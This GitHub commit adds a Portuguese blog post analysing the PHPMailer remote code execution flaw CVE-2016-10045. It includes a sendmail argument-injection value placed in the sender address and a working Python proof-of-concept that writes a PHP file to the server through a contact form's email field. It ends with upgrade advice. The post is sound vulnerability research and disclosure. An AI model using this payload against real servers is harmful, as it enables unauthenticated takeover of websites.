Skip to content

Commit

Permalink
content: add CVE-2016-10045 post
Browse files Browse the repository at this point in the history
  • Loading branch information
scriptprivate authored Nov 6, 2024
1 parent 1f69556 commit cbea84b
Showing 1 changed file with 101 additions and 0 deletions.
101 changes: 101 additions & 0 deletions _posts/2024-11-06-CVE-2016-10045.markdown
Original file line number Diff line number Diff line change
@@ -0,0 +1,101 @@
---
layout: post
title: "Análise da CVE-2016-10045: RCE no PHPMailer"
date: 2024-11-06
---

A [CVE-2016-10045](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10045)\[1\] é uma vulnerabilidade crítica no [PHPMailer](https://github.com/PHPMailer/PHPMailer)\[2\], que afeta versões anteriores à 5.2.18, uma biblioteca amplamente utilizada para o envio de e-mails em aplicações escritas em [PHP](https://www.php.net)\[3\]. Essa vulnerabilidade permite que um atacante execute códigos maliciosos em um servidor web comprometido, explorando uma falha de validação de entrada no código do PHPMailer.

Essa publicação está disponível também em: [Inglês](https://blog.lesis.lat/blog/CVE-2016-10045-EN/)

---

**Introdução**

O PHPMailer continua sendo uma das bibliotecas de envio de e-mails mais utilizadas globalmente, com aproximadamente 9 milhões de usuários ao redor do mundo. Além disso, o PHPMailer é empregado em diversos projetos *open-source*, como: WordPress, Drupal, Joolma, entre outros.

Um dos pontos que torna essa vulnerabilidade ainda mais crítica é que, na maioria dos casos, o atacante não precisa ser um usuário autenticado para injetar código malicioso e realizar uma [execução de código remoto (RCE)](https://www.cloudflare.com/en-gb/learning/security/what-is-remote-code-execution/)\[4\] em um servidor web.

Para explorar essa vulnerabilidade, basta ao atacante identificar qualquer campo de formulário que utilize o PHPMailer para o envio de e-mail e, em seguida, enviar o payload.

---

**Descrição**

Essa vulnerabilidade decorre de uma correção inadequada na [CVE-2016-10033](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033)\[5\]. Na versão 5.2.17 do PHPMailer, foi implementada uma sanitização da variável *$Sender* através da função *escapeshellarg()* antes que o valor fosse passado para a função *mail()*. Como resultado, é possível acrescentar uma aspa a mais que não é devidamente escapada, quebrando o fluxo da função *escapeshellarg()*.

**Por exemplo:**

```php
$mail \-\> SetFrom("\\"Attacker\\\\' \-Param2 \-Param3\\"@test.com", 'Client Name');
```

Irá resultar na seguinte lista de argumentos sendo passada para o programa de envio de e-mails:

```
Arg no. 0 \== \[/usr/sbin/sendmail\]
Arg no. 1 \== \[-t\]
Arg no. 2 \== \[-i\]
Arg no. 3 \== \[-f\\"Attacker\\\\\\\]
Arg no. 4 \== \[-Param2\]
Arg no. 5 \== \[-Param3"@test.com'\]
```

O atacante pode passar o parâmetro **\-X** para escrever um *log* contendo código PHP arbitrário, o que torna as versões anteriores à **5.2.20** vulneráveis à execução remota de código (RCE).

---

**Prova de Conceito**

Script em Python que explora a vulnerabilidade:

```python
#!/usr/bin/env python3
import requests
import argparse
import re
def exploit(url, dir):
if not re.match(r'^https?://', url):
url \= f"https://{url}"
payload \= "\\"attacker\\\\' \-oQ/tmp/ \-X%s/phpcode.php some\\"@email.com" % dir
code \= "\<?php phpinfo(); ?\>"

data \= {'action': 'send', 'name': 'LESIS', 'email': payload, 'msg': code}

response \= requests.post(url, data=data)

if response.status\_code \== 200:
print("Exploitation successful\!")
else:
print("Exploitation failed.")
def main():
parser \= argparse.ArgumentParser(description='CVE-2016-10045 | PHPMailer')
parser.add\_argument('-t', '--target', required=True, help='Target URL')
parser.add\_argument('-d', '--dir', required=True, help='Remote recording directory')
args \= parser.parse\_args()

if args.target and args.dir:
exploit(args.target, args.dir)
if \_\_name\_\_ \== '\_\_main\_\_':
main()
```

---

**Conclusão**

A vulnerabilidade decorre de uma falha na sanitização de parâmetros de entrada no PHPMailer, permitindo que atacantes executem código malicioso em servidores web comprometidos. Isso representa um risco significativo, já que a exploração pode ser realizada sem a necessidade de autenticação, possibilitando a injeção de código remoto (RCE) em aplicações vulneráveis.

Os potenciais impactos de uma exploração bem-sucedida incluem a execução de código arbitrário, que pode resultar em comprometimento da segurança e acesso não autorizado a informações sensíveis.

A mitigação recomendada é atualizar o PHPMailer para a versão 5.2.20 ou superior.

---

**Referências**

* \[1\] [MITRE \- CVE-2016-10045](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10045)
* \[2\] [GitHub \- PHPMailer: A full-featured email creation and transfer class for PHP](https://github.com/PHPMailer/PHPMailer)
* \[3\] [PHP \- A popular general-purpose scripting language](https://www.php.net)
* \[4\] [Cloudflare \- What is remote code execution?](https://www.cloudflare.com/en-gb/learning/security/what-is-remote-code-execution/)
* \[5\] [MITRE \- CVE-2016-10033](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033)

0 comments on commit cbea84b

Please sign in to comment.